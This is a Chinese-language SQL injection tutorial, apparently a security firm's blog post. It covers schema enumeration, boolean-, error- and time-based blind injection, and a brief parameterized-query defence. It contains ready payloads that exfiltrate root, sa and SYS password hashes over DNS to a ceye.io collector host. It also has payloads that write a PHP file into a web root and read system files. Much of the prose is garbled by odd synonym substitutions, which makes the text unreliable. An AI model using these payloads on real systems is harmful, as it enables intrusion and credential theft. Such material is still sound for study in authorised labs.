0x01
—
择要

上一期,我们先容了注入漏洞中常见的 SQL 注入漏洞,紧张内容因此 MySQL 为例先容了 SQL注入的基本事理,并举例了几个常见的注入手腕与事理。本期我们来先容其他的一些注入手腕与事理。
0x02
—
SQL Injection
接上期
检讨数据库信息检讨数据库类型与版本我们习气上简称为数据库管理系统为数据库,对付数据库管理系统来说分很多类型,每一种查询方法都不一样。
常见的数据库类型有
MicrosoftMySQLOraclePostgreSQL不同数据库的查询版本的方法
检讨数据库的构造
对付 MySQL 来说,所有的数据库信息都保存在一个名叫 information_schema 的数据库中,基本构造是下面这样的。
mysql 版本 >= 5.0
让我们来看看真实的保存信息
information_schema 数据库与我们关心的几个表
information_schema 数据库的三张表的构造与我们关心的表中的字段(下图做了标注)
结合上期先容的注入手腕与 information_schema 数据库构造,我们可以通过以下办法来从检讨目标的数据构造
# 检讨数据库名称select schema_name from information_schema.schemata# 检讨指天命据的所有表名select table_name from information_schema.tables where table_schema="数据库名称"# 检讨指定表的所有字段名称select column_name from information_schema.columns where table_name="表名"
我们来查看下上期先容的 xiaomi 数据库的构造
把稳:注入时为了准确的获取目标数据库的信息,须要灵巧的构建查询条件;上图中限定查询为指定库的指定表的字段。
在线实验
# mysql 练习https://paiza.io/en/projects/new?language=mysql# 注入练习https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
对付 Oracle 来说,干系操作
# 流程:# 获取所有表 --> 获取指定表的所有字段名# 所有表select table_name from all_tables# 指定表的所有字段名select column_name from all_tab_columns where table_name="表名称"
在线实验
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
总结一下,不同的数据库查询数据库构造的方法
# oracleselect from all_tablesselect from all_tab_columns where table_name='TABLE-NAME-HERE'# Microsoftselect from information_schema.tablesselect from information_scehma.columns where table_name='TABLE-NAME-HERE'# PostgreSQLselect from information_schema.tablesselect from information_schema.columns where table_name='TABLE-NAME-HERE'# MySQLselect from information_schema.tablesselect from information_schema.columns where table_name='TABLE-NAME-HERE'
SQL 盲注什么是 sql 盲注
在 sql 注入时,如果运用程序没有回显/报错,那么我们就须要利用 sql 盲注办法。
如何利用 sql 盲注对付 sql 盲注的漏洞,之前手腕依赖回显的都不可用,那么我们须要如何来利用漏洞呢?
紧张思路便是:利用数据库实行我们给定的命令后的状态来利用漏洞
利用办法有:
依赖sql 语句条件判断依赖数据库报错依赖韶光延迟来利用依赖带外技能(out-of-band OAST)来利用依赖 sql 语句条件判断如一个网站依赖 cookie 值 TrackingId=abc123,查询到用户时;会于前端提示 ”Welcom back“,
我们可以利用条件判断语句,使条件永久知足来利用漏洞
TrackingId = x' union select 'a' where 1=1--
扩展思路,我们可以有更多的利用办法
# 检讨指定的用户是否存在?TrackingId = x' union select 'a' from users where useranme='admin' --# 检讨用户密码TrackingId = x' union select 'a' from users where useranme='admin' and substring(password,1,1)>'t' --
常用字符串截取函数
数据库 字符串截取函数 Oracle substr(‘test’, 1, 1) Microsoft substring(‘test’, 1,1) PostgreSQL substring(‘test’, 1,1) MySQL substring(‘test’, 1, 1)
在线实验
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
依赖数据库报错
如果前端只会显示 Internal Server Error 500,我们可以考虑手动引发缺点。
以上面的例子
TrackingId = x' union select case when (1=2) then 1/0 else null end--# 特意指定会报错的命令,让数据库运行出错TrackingId = x' union select case when (1=1) then 1/0 else null end--
扩展
TrackingId = x' union select case when (username='admin' and substring(password,1,1)='m') then 1/0 else null end--
数据库 条件 Oracle select case when (条件) then to_char(1/0) else null end from dual Microsoft select case when (条件) then 1/0 else null end PostgreSQL select case when (条件) then cast(1/0 as text) else null null end MySQL select if(条件, (select table_name from information_schema.tables), ‘a’)
如果实行结果不涌现提示或者是空缺时,以上的办法也没办法利用了。但是如果可以明确的看出前端展示的内容有正常与缺点的页面。
可以考虑
select from name where id='0' and substring(version(), 1, 1) = 5-- ' limit 0,1select from name where id='0' and substring(version(), 1, 1) = 6-- ' limit 0,1
依赖韶光延迟来利用
如果后端运用程序实行了 sql 命令,但是处理了数据库报错或者总是返回相同的提示;我们可以利用 delay 来利用 sql 注入漏洞。
以 Microsoft SQL Server 为例
'; if (1=2) waitfor delay '0:0:10'-- # 利用韶光延迟实行命令来判断'; if (1=1) waitfor delay '0:0:10'--
在线实验
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
扩展
'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
依赖带外技能(out-of-band OAST)来利用
如果网站实行 sql 查询时利用了 异步办法,所有 sql 查询在其余的线程实行。那么基于韶光延迟的利用办法也不可行了。
这时可以利用 out-of-band 办法来利用 sql 注入漏洞。
思路便是:让程序系统通过其他的协议对外交互来利用漏洞。常日我们会利用 DNS 协议的查询来利用漏洞,由于大部分其他协议对外可能是禁止的,DNS 总是放行的。
数据库不同,利用方法有些许差别,参考 ceye.io 网站的 pyloads
# mysqlSELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));# SQL ServerDECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');# OracleSELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
把稳:
MySQL 的 load_file 函数在 Linux 下是无法用来做 dnslog 攻击的,由于这里利用了基于 windows 内置支持的 UNC 路径解析功能。
0x03
—
SQL 注入防护
上面理解了 sql 注入手腕,那么如何防护呢?下面给出一些建议
不该用 SQL 拼接语法利用参数化查询# 不该用 sql 拼接语法String query = "SELECT FROM products WHERE category = '"+ input + "'";Statement statement = connection.createStatement();ResultSet resultSet = statement.executeQuery(query);# 利用参数化查询PreparedStatement statement = connection.prepareStatement("SELECT FROM products WHERE category = ?");statement.setString(1, input);ResultSet resultSet = statement.executeQuery();
sql 注入高阶利用写文件读取文件
# 写文件,结合 union1 union select 1,2,3,4,5,"<? phpinfo(); ?>" into outfile "/var/www/html/test.php"# 写文件,直接写1 into outfile '/var/www/html/test.php" fields terminated by "<? phpinfo(); ?>"# 读取文件union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
0x04
—
总结
到此,注入漏洞之 sql 注入部分就完结了,其实在 sql 注入中,还有许多须要考虑与把稳的地方,比如,绕过WAF,写文件权限,读文件权限等。大家可以搜索干系的关键字时一步学习。
0x05
—
参考
https://portswigger.net/blog/oast-out-of-band-application-security-testing
https://portswigger.net/burp/documentation/collaborator
http://ceye.io/payloads
FIN
深圳德慎思信息安全
专为金融、政府及企奇迹单位供应红队实战的安全测评做事,德慎思立足深圳放眼天下,紧抓中华民族复兴机遇,以科创为民的精神贡献自身卓越技能。